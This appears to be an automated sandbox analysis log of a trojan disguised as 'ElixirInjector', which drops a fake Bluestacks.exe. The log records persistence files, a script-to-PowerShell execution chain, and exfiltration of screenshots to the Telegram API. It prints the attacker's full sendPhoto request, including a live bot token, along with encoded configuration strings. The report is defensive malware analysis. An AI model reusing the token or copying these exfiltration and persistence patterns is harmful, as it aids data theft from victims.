              Source: 00000005.00000002.2669535434.0000000012933000.00000004.00000800.00020000.00000000.sdmpString decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-B8rfKRhj2yUsgHgmOHtf","0","elixirrrrrrrrr","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVXB0V1ZkNGVscFRTWE5KYW1kcFQybEtNR051Vm14SmFYZHBUMU5KTmtsdVVubGtWMVZwVEVOSmVFMURTVFpKYmxKNVpGZFZhVXhEU1hoTlUwazJTVzVTZVdSWFZXbE1RMGw0VFdsSk5rbHVVbmxrVjFWcFRFTkplRTE1U1RaSmJsSjVaRmRWYVV4RFNYaE9RMGsyU1c1U2VXUlhWV2xtVVQwOUlsMD0iXQ=="]
              Source: ElixirInjector.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeDirectory created: C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exeJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeDirectory created: C:\Program Files\7-Zip\ad448380f74670Jump to behavior
              Source: unknownHTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.6:49843 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49852 version: TLS 1.2
              Source: ElixirInjector.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
              Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: ElixirInjector.exe
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F1A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,0_2_00F1A69B
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F2C220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,0_2_00F2C220
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F3B348 FindFirstFileExA,0_2_00F3B348
              Source: C:\Users\user\Desktop\ElixirInjector.exeFile opened: C:\Users\user\AppData\Local\Temp\WinRAR\Jump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeFile opened: C:\Users\user\AppData\Local\Temp\Jump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeFile opened: C:\Users\user\Jump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeFile opened: C:\Users\user\AppData\Local\Temp\WinRAR\data\Jump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeFile opened: C:\Users\user\AppData\Jump to behavior

              Software Vulnerabilities

              barindex
              Suspicious execution chain found
              Source: C:\Windows\SysWOW64\wscript.exeChild: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

              Networking

              barindex
              Suricata IDS alerts for network traffic
              Source: Network trafficSuricata IDS: 1810009 - Severity 1 - Joe Security ANOMALY Telegram Send Photo : 192.168.2.6:49852 -> 149.154.167.220:443
              Uses ping.exe to check the status of other devices and networks
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
              Uses the Telegram API (likely for C&C communication)
              Source: unknownDNS query: name: api.telegram.org
              Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /country HTTP/1.1Host: ipinfo.io
              Source: global trafficHTTP traffic detected: POST /bot7622199935:AAFHSUQ61526mhYJcmipjqz2DM9Zso04aBI/sendPhoto HTTP/1.1Content-Type: multipart/form-data; boundary="2fc83503-aa7d-4956-907f-539a12425ce1"Host: api.telegram.orgContent-Length: 86494Expect: 100-continueConnection: Keep-Alive
              Source: Joe Sandbox ViewIP Address: 149.154.167.220 149.154.167.220
              Source: Joe Sandbox ViewIP Address: 34.117.59.81 34.117.59.81
              Source: Joe Sandbox ViewIP Address: 34.117.59.81 34.117.59.81
              Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
              Source: unknownDNS query: name: ipinfo.io
              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49847 -> 34.117.59.81:443
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /country HTTP/1.1Host: ipinfo.io
              Source: global trafficDNS traffic detected: DNS query: ipinfo.io
              Source: global trafficDNS traffic detected: DNS query: api.telegram.org
              Source: unknownHTTP traffic detected: POST /bot7622199935:AAFHSUQ61526mhYJcmipjqz2DM9Zso04aBI/sendPhoto HTTP/1.1Content-Type: multipart/form-data; boundary="2fc83503-aa7d-4956-907f-539a12425ce1"Host: api.telegram.orgContent-Length: 86494Expect: 100-continueConnection: Keep-Alive
              Source: Bluestacks.exe, 00000005.00000002.2525083932.0000000002EFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://api.telegram.org
              Source: Bluestacks.exe, 00000005.00000002.2476855882.000000000096B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://go.mic
              Source: Bluestacks.exe, 00000005.00000002.2525083932.0000000002E47000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ipinfo.io
              Source: powershell.exe, 0000003E.00000002.2709061242.000001AD35FB7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
              Source: powershell.exe, 0000001E.00000002.2711170889.000001AE88EBA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2702418086.000001E400807000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2730085660.00000222296CF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2704914975.000001CB084A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2706132711.0000026B23128000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.2719372641.0000019538287000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2689589857.0000020480227000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2762263901.0000022F3D3E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2708333629.000002C0936A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.2712206652.000001E3AB348000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000030.00000002.2727104667.000001E1BF2D6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2708913289.000002590F5F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2720674085.00000240066A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2764015001.000001EF3B613000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000036.00000002.2703673478.0000017B0D156000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003B.00000002.2686411931.000001D980228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003D.00000002.2687160428.0000028200228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003E.00000002.2709061242.000001AD35FB7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
              Source: Bluestacks.exe, 00000005.00000002.2525083932.000000000297E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2711170889.000001AE88B91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2702418086.000001E4005E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2730085660.0000022229321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2704914975.000001CB08281000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2706132711.0000026B22F01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.2719372641.0000019538061000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2689589857.0000020480001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2762263901.0000022F3D0F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2708333629.000002C093481000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.2712206652.000001E3AB121000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000030.00000002.2727104667.000001E1BF0B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2708913289.000002590F3E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2720674085.0000024006481000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2764015001.000001EF3B3C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000036.00000002.2703673478.0000017B0CF31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003B.00000002.2686411931.000001D980001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003D.00000002.2687160428.0000028200001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003E.00000002.2709061242.000001AD35D91000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
              Source: powershell.exe, 0000001E.00000002.2711170889.000001AE88EBA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2702418086.000001E400807000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2730085660.00000222296CF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2704914975.000001CB084A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2706132711.0000026B23128000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.2719372641.0000019538287000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2689589857.0000020480227000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2762263901.0000022F3D3E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2708333629.000002C0936A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.2712206652.000001E3AB348000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000030.00000002.2727104667.000001E1BF2D6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2708913289.000002590F5F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2720674085.00000240066A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2764015001.000001EF3B613000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000036.00000002.2703673478.0000017B0D156000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003B.00000002.2686411931.000001D980228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003D.00000002.2687160428.0000028200228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003E.00000002.2709061242.000001AD35FB7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
              Source: powershell.exe, 0000003E.00000002.2709061242.000001AD35FB7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
              Source: powershell.exe, 0000001E.00000002.2711170889.000001AE88B91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2702418086.000001E4005E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2730085660.0000022229321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2704914975.000001CB08281000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2706132711.0000026B22F01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.2719372641.0000019538061000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2689589857.0000020480001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2762263901.0000022F3D0F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2708333629.000002C093481000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.2712206652.000001E3AB121000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000030.00000002.2727104667.000001E1BF0B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2708913289.000002590F3E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2720674085.0000024006481000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2764015001.000001EF3B3C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000036.00000002.2703673478.0000017B0CF31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003B.00000002.2686411931.000001D980001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003D.00000002.2687160428.0000028200001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003E.00000002.2709061242.000001AD35D91000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
              Source: Bluestacks.exe, 00000005.00000002.2525083932.0000000002EC5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org
              Source: Bluestacks.exe, 00000005.00000002.2518199953.0000000000BC2000.00000002.00000001.01000000.00000000.sdmp, Bluestacks.exe, 00000005.00000002.2525083932.0000000002EC5000.00000004.00000800.00020000.00000000.sdmp, Bluestacks.exe, 00000005.00000002.2525083932.000000000297E000.00000004.00000800.00020000.00000000.sdmp, BlUGSVrR.log.5.drString found in binary or memory: https://api.telegram.org/bot
              Source: Bluestacks.exe, 00000005.00000002.2525083932.0000000002EC5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot7622199935:AAFHSUQ61526mhYJcmipjqz2DM9Zso04aBI/sendPhotoX
              Source: powershell.exe, 0000003E.00000002.2709061242.000001AD35FB7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
              Source: Bluestacks.exe, 00000005.00000002.2525083932.0000000002E6B000.00000004.00000800.00020000.00000000.sdmp, Bluestacks.exe, 00000005.00000002.2525083932.0000000002E2D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ipinfo.io
              Source: Bluestacks.exe, 00000005.00000002.2525083932.0000000002E29000.00000004.00000800.00020000.00000000.sdmp, Bluestacks.exe, 00000005.00000002.2518199953.0000000000BC2000.00000002.00000001.01000000.00000000.sdmp, Bluestacks.exe, 00000005.00000002.2525083932.000000000297E000.00000004.00000800.00020000.00000000.sdmp, BlUGSVrR.log.5.drString found in binary or memory: https://ipinfo.io/country
              Source: Bluestacks.exe, 00000005.00000002.2525083932.0000000002E29000.00000004.00000800.00020000.00000000.sdmp, Bluestacks.exe, 00000005.00000002.2518199953.0000000000BC2000.00000002.00000001.01000000.00000000.sdmp, Bluestacks.exe, 00000005.00000002.2525083932.000000000297E000.00000004.00000800.00020000.00000000.sdmp, BlUGSVrR.log.5.drString found in binary or memory: https://ipinfo.io/ip
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49843
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49852
              Source: unknownNetwork traffic detected: HTTP traffic on port 49843 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49852 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49847 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49847
              Source: unknownHTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.6:49843 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49852 version: TLS 1.2

              System Summary

              barindex
              Windows Scripting host queries suspicious COM object (likely to drop second stage)
              Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F16FAA: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,0_2_00F16FAA
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exeJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Windows\BitLockerDiscoveryVolumeContents\ad448380f74670Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exeJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Windows\Microsoft.NET\ad448380f74670Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Windows\ShellComponents\cmd.exeJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Windows\ShellComponents\ebf1f9fa8afd6dJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F1848E0_2_00F1848E
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F26CDC0_2_00F26CDC
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F140FE0_2_00F140FE
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F200B70_2_00F200B7
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F240880_2_00F24088
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F351C90_2_00F351C9
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F271530_2_00F27153
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F132F70_2_00F132F7
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F262CA0_2_00F262CA
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F243BF0_2_00F243BF
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F1F4610_2_00F1F461
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F3D4400_2_00F3D440
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F1C4260_2_00F1C426
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F277EF0_2_00F277EF
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F3D8EE0_2_00F3D8EE
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F1286B0_2_00F1286B
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F419F40_2_00F419F4
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F1E9B70_2_00F1E9B7
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F23E0B0_2_00F23E0B
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F1EFE20_2_00F1EFE2
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F34F9A0_2_00F34F9A
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeCode function: 5_2_00007FFD34670D485_2_00007FFD34670D48
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeCode function: 5_2_00007FFD34670E435_2_00007FFD34670E43
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeCode function: 5_2_00007FFD346713E85_2_00007FFD346713E8
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeCode function: 5_2_00007FFD34A65FD75_2_00007FFD34A65FD7
              Source: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exeCode function: 75_2_00007FFD34680D4875_2_00007FFD34680D48
              Source: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exeCode function: 75_2_00007FFD34680E4375_2_00007FFD34680E43
              Source: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exeCode function: 75_2_00007FFD346813E875_2_00007FFD346813E8
              Source: Joe Sandbox ViewDropped File: C:\Users\user\Desktop\BlUGSVrR.log B48CA16B9BA2B44BF13051705B8E12D587D80262F57F7B2595AD1DD7854A86C6
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: String function: 00F2EB78 appears 39 times
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: String function: 00F2EC50 appears 56 times
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: String function: 00F2F5F0 appears 31 times
              Source: TxvLlrMg.log.5.drStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
              Source: DvqGSnXS.log.5.drStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
              Source: rCAqismj.log.5.drStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
              Source: uAazTYNi.log.5.drStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
              Source: EbKwZRsK.log.5.drStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
              Source: wxCHpYcd.log.5.drStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
              Source: mPirFwXv.log.5.drStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
              Source: VHSMlJrg.log.5.drStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
              Source: ElixirInjector.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
              Source: Bluestacks.exe, 00000005.00000000.2216100697.0000000000162000.00000002.00000001.01000000.0000000A.sdmp, fontdrvhost.exe, 00000043.00000002.3168678636.0000000002F92000.00000004.00000800.00020000.00000000.sdmp, fvXBwqYdGYPkplbuTcoXecCdP.exe, 0000004B.00000002.2818142355.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, fvXBwqYdGYPkplbuTcoXecCdP.exe, 0000004B.00000002.3193616252.0000000012F72000.00000004.00000800.00020000.00000000.sdmp, fvXBwqYdGYPkplbuTcoXecCdP.exe0.5.dr, Bluestacks.exe.0.drBinary or memory string: &.vBPs
              Source: classification engineClassification label: mal100.troj.expl.evad.winEXE@84/100@2/2
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F16C74 GetLastError,FormatMessageW,0_2_00F16C74
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F2A6C2 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,0_2_00F2A6C2
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exeJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\uAazTYNi.logJump to behavior
              Source: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exeMutant created: NULL
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeMutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-B8rfKRhj2yUsgHgmOHtf
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3924:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7900:120:WilError_03
              Source: C:\Users\user\Desktop\ElixirInjector.exeFile created: C:\Users\user\AppData\Local\Temp\WinRARJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\6iq5IFzZA9EyHTwKHM8vXk9USXtHecApoG.bat" "
              Source: C:\Users\user\Desktop\ElixirInjector.exeCommand line argument: sfxname0_2_00F2DF1E
              Source: C:\Users\user\Desktop\ElixirInjector.exeCommand line argument: sfxstime0_2_00F2DF1E
              Source: C:\Users\user\Desktop\ElixirInjector.exeCommand line argument: STARTDLG0_2_00F2DF1E
              Source: ElixirInjector.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
